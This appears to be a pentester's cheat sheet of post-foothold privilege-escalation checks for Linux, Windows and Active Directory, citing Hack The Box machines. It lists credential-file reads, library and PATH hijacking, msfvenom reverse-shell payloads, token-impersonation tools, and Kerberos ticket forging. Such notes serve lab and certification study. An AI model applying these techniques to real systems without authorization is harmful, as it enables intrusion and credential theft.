Post Initlal Foothold
Linux:
Check sudo -l
LinPEAS
Horizontal privesc!
Check .bash_history
Always check / directory
Check SUID binaries (carefully review all)
uname -a
find / -f filename
find / -u user
find / -writable
Try to find processes running for the next target user
netstat -ano (check for local service)
If local ports are open, try to curl them locally
Try to access user home dirs from local web ports
Check HTTP directory for passwords
Check password reuse/null password
Check /etc/[service-config-files] for other services found (web,ftp,etc)
/etc/passwd
/etc/shadow
SNMP can execute scripts with NET-SNMP-EXTEND-MIB/ExtendObjects, try to specify OID HTB pit)
Drop a shell with "bash" inside msfconsole
If another user ssh is not working, try password with su
/etc/crontab (always check for crontab -l)
Check for mongodb scheduled tasks (node machine, rana khalil)
Use env variables/wildcards/symlinks when path/file name filtering
Pspy (process spy, for recurring processes, check build for 32/64 bit)
Python library hijack (create import file on the same dir)
Create symlinks for files (or subfiles if writeable) running in cron jobs
For a binary having BO, use gdb (check HTB Frolic)
Check for groups with id, and find / -group [group] 2>/dev/null
For NetBSD, sudo = doas
If SETENV is set in sudo, you can run the command with env variable value program path variables, library hijacking etc, see HTB admirer)
Change $PATH value to execute elevated binaries with the custom one in pwd/sudo scripts
If /usr/bin/screen is elevated, run screen -x [user]/[sess_id] (see HTB backdoor)
For shared objects: a. msfvenom -p payload -f elf-so -o utils.so LHOST= LPORT= b. Shared library path: /usr/local/lib/dev c. Check for custom LD_LIBRARY_PATH variables set in crontab to place so files
For shared library: a. Create rootshell c file b. Check function name and return type (void, _init()) c. Check header files (stdlib, sys/types.h, stdio) d. Common ports e. Generic bash -I payload
Windows:
Users[user]\Desktop
WinPEAS
Horizontal privesc!
UAC Bypass (manual > msf > empire)
powerup.ps1
Windows-exploit-suggester
Check powershell history (winpeas)
Check AlwaysInstallElevated (winpeas sysinfo, create msf msi file)
Check program files (x86)
JuicyPotatoNG with seimpersonate
For windows <=2003, and SeImpersonate, use Churrasco.exe (github)
Look around the file system for sensitive strings
reg query
Check Program Files for installed apps
sc query list brief
sc qc [service_name] (unquoted paths/autorun)
wmic service get name,startname
whoami /priv
net user /domain
tasklist
net localgroup user
Check for other users, try to horizontal privesc (may have more privs)
Check for LAPS access
Check for files and folders permissions with icacls
Decrypt PSCredential with CLiXml (HTB Omni)
Use psexec.exe to upgrade to SYSTEM with admin privilege
Grant file permission inside a folder with icacls /grant
Use printspoofer for seimpersonate on win 10/server 2019, else juicypotato
Check AlwaysInstallElevated (can execute any software package installer with SYSTEM (e.g. msi)
Check for WSL path (rootfs)
Active Directory:
net user /domain
Horizontal!
When found other user creds, run service as another user with powershell PSCredential and Start-Process
cmdlist for checking another user creds, use runas to login
Obtain kerberos tickets with GetUserSPNs with account details if 88 open
If a service account pass/hash is found, try silver ticket with ticketer.py/mimikatz kerberos golden
If an account is allowed to Delegate to domain, we can request service tickets with getST.py -impersonate administrator, and login with psexec -no-pass
ADPEAS
whoami /groups
Last updated